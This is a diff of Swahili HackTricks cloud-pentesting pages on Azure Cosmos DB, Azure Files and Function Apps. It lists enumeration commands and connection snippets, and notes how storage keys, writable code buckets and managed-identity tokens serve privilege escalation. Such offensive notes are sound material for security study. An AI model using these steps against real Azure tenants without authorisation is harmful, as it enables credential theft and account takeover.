Njia nyingine ya kuanzisha muunganisho ni kutumia **DefaultAzureCredential()**. Inahitajika tu kuingia (az login) na akaunti ambayo ina ruhusa na kuitekeleza. Kwa kesi hii, lazima ifanyike ugawaji wa jukumu, ikitoa ruhusa zinazohitajika (ona kwa mor)
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
@@ -187,28 +174,21 @@ item = {
|
||||
container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### MongoDB
|
||||
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuuliza yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kufanya kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuhoji yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
#### Databases
|
||||
Katika MongoDB, unaweza kuunda moja au zaidi ya hifadhidata ndani ya mfano. Kila hifadhidata inatumika kama kundi la kimantiki la makusanyo na inatoa mipaka kwa ajili ya shirika na usimamizi wa rasilimali. Hifadhidata husaidia kutenganisha na kusimamia data kwa kimantiki, kama vile kwa programu au miradi tofauti.
|
||||
|
||||
#### Hifadhidata
|
||||
Katika MongoDB, unaweza kuunda hifadhidata moja au zaidi ndani ya mfano. Kila hifadhidata inatumika kama kundi la kimantiki la makusanyo na inatoa mipaka kwa ajili ya shirika na usimamizi wa rasilimali. Hifadhidata husaidia kutenganisha na kusimamia data kwa kimantiki, kama vile kwa programu au miradi tofauti.
|
||||
#### Collections
|
||||
Kitengo cha msingi cha uhifadhi wa data katika MongoDB ni mkusanyiko, ambao unashikilia hati na umeundwa kwa ajili ya uchunguzi wa ufanisi na muundo wa skimu unaoweza kubadilishwa. Mkusanyiko ni wa kupanuka kwa urahisi na unaweza kusaidia operesheni zenye kiwango kikubwa katika nodi nyingi katika mpangilio wa kusambazwa.
|
||||
|
||||
#### Makusanyo
|
||||
Kitengo cha msingi cha uhifadhi wa data katika MongoDB ni makusanyo, ambayo yanaweka hati na yameundwa kwa ajili ya uchunguzi mzuri na muundo wa skimu unaoweza kubadilishwa. Makusanyo yanaweza kupanuka kwa urahisi na yanaweza kusaidia operesheni zenye kiwango kikubwa katika nodi nyingi katika mpangilio wa kusambazwa.
|
||||
#### Enumeration
|
||||
|
||||
#### Uhesabu
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
|
||||
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Connection
|
||||
|
||||
Hapa neno la siri unaweza kulipata na funguo au kwa njia iliyoelezwa katika sehemu ya privesc.
|
||||
{% code overflow="wrap" %}
|
||||
Hapa neno la siri unaweza kulipata na funguo au kwa njia iliyoelezwa katika sehemu ya privesc.
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
@@ -311,33 +287,29 @@ document = {
|
||||
result = collection.insert_one(document)
|
||||
print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
{% endcode %}
|
||||
## References
|
||||
|
||||
## Marejeo
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
## Privilege Escalation
|
||||
|
||||
## Kuinua Privilege
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-cosmosDB-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
## Post Exploitation
|
||||
|
||||
## Baada ya Utekelezaji
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kifanyike
|
||||
## ToDo
|
||||
|
||||
* Sehemu nyingine za DB hapa, meza, cassandra, gremlin...
|
||||
* Angalia utekelezaji wa "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa kunaweza kuwa na privesc
|
||||
* Angalia post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa kunaweza kuwa na privesc
|
||||
* Angalia urejeleaji
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Files** ni huduma ya kuhifadhi faili ya wingu inayosimamiwa kikamilifu ambayo inatoa uhifadhi wa faili wa pamoja unaopatikana kupitia viwango vya kawaida vya **SMB (Server Message Block)** na **NFS (Network File System)**. Ingawa protokali kuu inayotumika ni SMB, ushirikiano wa faili za Azure hauungwa mkono kwa Windows (kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Inakuwezesha kuunda ushirikiano wa faili wa mtandao wenye upatikanaji wa juu ambao unaweza kufikiwa kwa wakati mmoja na mashine nyingi za virtual (VMs) au mifumo ya ndani, ikiruhusu ushirikiano wa faili bila mshono kati ya mazingira.
|
||||
**Azure Files** ni huduma ya kuhifadhi faili ya wingu inayosimamiwa kikamilifu ambayo inatoa uhifadhi wa faili wa pamoja unaopatikana kupitia protokali za kawaida **SMB (Server Message Block)** na **NFS (Network File System)**. Ingawa protokali kuu inayotumika ni SMB, kama NFS, Azure file shares hazipatikani kwa Windows (kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Inakuwezesha kuunda sehemu za faili za mtandao zenye upatikanaji wa juu ambazo zinaweza kufikiwa kwa wakati mmoja na mashine nyingi za virtual (VMs) au mifumo ya ndani, ikiruhusu kushiriki faili bila mshono kati ya mazingira.
|
||||
|
||||
### Access Tiers
|
||||
|
||||
- **Transaction Optimized**: Imeboreshwa kwa shughuli zenye muamala mzito.
|
||||
- **Hot**: Imebalansiwa kati ya muamala na uhifadhi.
|
||||
- **Cool**: Ina gharama nafuu kwa uhifadhi.
|
||||
- **Premium:** Uhifadhi wa faili wa utendaji wa juu ulioimarishwa kwa kazi zenye latency ya chini na IOPS-intensiv.
|
||||
- **Premium:** Uhifadhi wa faili wa utendaji wa juu ulioimarishwa kwa kazi zenye latency ya chini na IOPS-intensive.
|
||||
|
||||
### Backups
|
||||
|
||||
@@ -23,15 +23,15 @@
|
||||
|
||||
### Supported Authentications via SMB
|
||||
|
||||
- **On-premises AD DS Authentication**: Inatumia akidi za Active Directory za ndani zilizounganishwa na Microsoft Entra ID kwa upatikanaji wa msingi wa utambulisho. Inahitaji muunganisho wa mtandao kwa AD DS ya ndani.
|
||||
- **Microsoft Entra Domain Services Authentication**: Inatumia Microsoft Entra Domain Services (AD ya wingu) kutoa upatikanaji kwa kutumia akidi za Microsoft Entra.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: Inawawezesha watumiaji wa Microsoft Entra kuthibitisha ushirikiano wa faili za Azure kupitia intaneti kwa kutumia Kerberos. Inasaidia mashine za virtual zilizounganishwa na Microsoft Entra au zilizounganishwa na Microsoft Entra bila kuhitaji muunganisho kwa wakala wa kikoa wa ndani. Lakini haisaidii utambulisho wa wingu pekee.
|
||||
- **AD Kerberos Authentication for Linux Clients**: Inaruhusu wateja wa Linux kutumia Kerberos kwa uthibitisho wa SMB kupitia AD DS ya ndani au Microsoft Entra Domain Services.
|
||||
- **On-premises AD DS Authentication**: Inatumia akidi za Active Directory za ndani zilizounganishwa na Microsoft Entra ID kwa ufikiaji unaotegemea utambulisho. Inahitaji muunganisho wa mtandao kwa AD DS ya ndani.
|
||||
- **Microsoft Entra Domain Services Authentication**: Inatumia Microsoft Entra Domain Services (AD ya wingu) kutoa ufikiaji kwa kutumia akidi za Microsoft Entra.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: Inawawezesha watumiaji wa Microsoft Entra kuthibitisha Azure file shares kupitia intaneti kwa kutumia Kerberos. Inasaidia mashine za virtual zilizounganishwa na Microsoft Entra au zilizounganishwa na Microsoft Entra bila kuhitaji muunganisho kwa wakala wa kikoa wa ndani. Lakini haisaidii utambulisho wa wingu pekee.
|
||||
- **AD Kerberos Authentication for Linux Clients**: Inawawezesha wateja wa Linux kutumia Kerberos kwa uthibitisho wa SMB kupitia AD DS ya ndani au Microsoft Entra Domain Services.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
|
||||
# Download snapshot/backup
|
||||
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-AzStorageAccount
|
||||
|
||||
@@ -81,11 +81,11 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
|
||||
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!NOTE]
|
||||
> Kwa default `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza kitendo. Ili kutumia ruhusa za Entra ID principal tumia vigezo `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> Kwa kawaida `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza kitendo. Ili kutumia ruhusa za Entra ID principal tumia vigezo `--auth-mode login --enable-file-backup-request-intent`.
|
||||
|
||||
> [!TIP]
|
||||
> Tumia param `--account-key` kuashiria funguo ya akaunti inayotumika\
|
||||
@@ -93,9 +93,9 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
||||
|
||||
### Connection
|
||||
|
||||
Hizi ndizo scripts zilizopendekezwa na Azure wakati wa uandishi wa hati hii kuungana na File Share:
|
||||
Hizi ndizo skripti zilizopendekezwa na Azure wakati wa kuandika kuunganisha File Share:
|
||||
|
||||
Unahitaji kubadilisha `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` na `<FILE-SHARE-NAME>` placeholders.
|
||||
Unahitaji kubadilisha `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` na `<FILE-SHARE-NAME>` maeneo ya nafasi.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuruhusu kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya msingi. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuruhusu kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba **Functions ni sehemu ya App Services**, kwa hivyo, nyingi ya vipengele vilivyojadiliwa hapa vitatumika pia na maombi yaliyoundwa kama Azure Apps (`webapp` katika cli).
|
||||
@@ -12,19 +12,19 @@
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii uanzishaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii kutekeleza kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
|
||||
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
|
||||
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
|
||||
- **Container Apps**: Inaruhusu kupeleka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
- **Container Apps**: Inaruhusu kutekeleza **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
|
||||
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa.
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati kazi inaitwa tena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kushambulia msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kuharibu msimbo na kupandisha mamlaka** kwa vitambulisho vilivyosimamiwa ndani ya Function App.
|
||||
>
|
||||
> Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**.
|
||||
|
||||
@@ -40,11 +40,11 @@ Kwa kutumia kichocheo cha HTTP:
|
||||
- Pia inawezekana **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function dhaifu iliyo wazi kwa Intaneti.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function iliyo hatarini iliyofichuliwa kwa Intaneti.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayoshikilia data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
|
||||
Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Function inavyotekeleza msimbo, kwa mfano ikiwa **`WEBSITE_RUN_FROM_PACKAGE`** ipo, itadhihirisha URL ambapo msimbo wa programu unapatikana.
|
||||
|
||||
@@ -58,25 +58,25 @@ Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika
|
||||
|
||||
Kama [**VMs**](vms/index.html), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji.
|
||||
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina kitambulisho hicho itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachosimamiwa ambacho **kazi pekee** iliyotolewa itakuwa na uwezo wa kukitumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vilivyotolewa ambavyo **huduma nyingine za Azure zitakuwa na uwezo wa kuvifanya**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unashambulia kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu.
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unaharibu kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyotolewa kutoka kwa Function moja tu.
|
||||
>
|
||||
> Ikiwa kitambulisho kisichodhibitiwa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichodhibitiwa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichosimamiwa cha default kutoka kwa kiunganishi cha metadata. Au unaweza kuyapata **kwa mikono** kama ilivyoelezwa katika:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa kwa kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha default** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuhitajika kutumia **funguo za ufikiaji**.
|
||||
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** inayohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
|
||||
- **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL.
|
||||
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**.
|
||||
@@ -84,10 +84,10 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
|
||||
|
||||
**Aina za funguo:**
|
||||
|
||||
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
|
||||
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
|
||||
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za default au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
|
||||
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za default au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinazosimamiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
|
||||
> [!TIP]
|
||||
> Mfano wa kufikia kiunganishi cha API ya kazi kwa kutumia funguo:
|
||||
@@ -96,7 +96,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kupeleka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
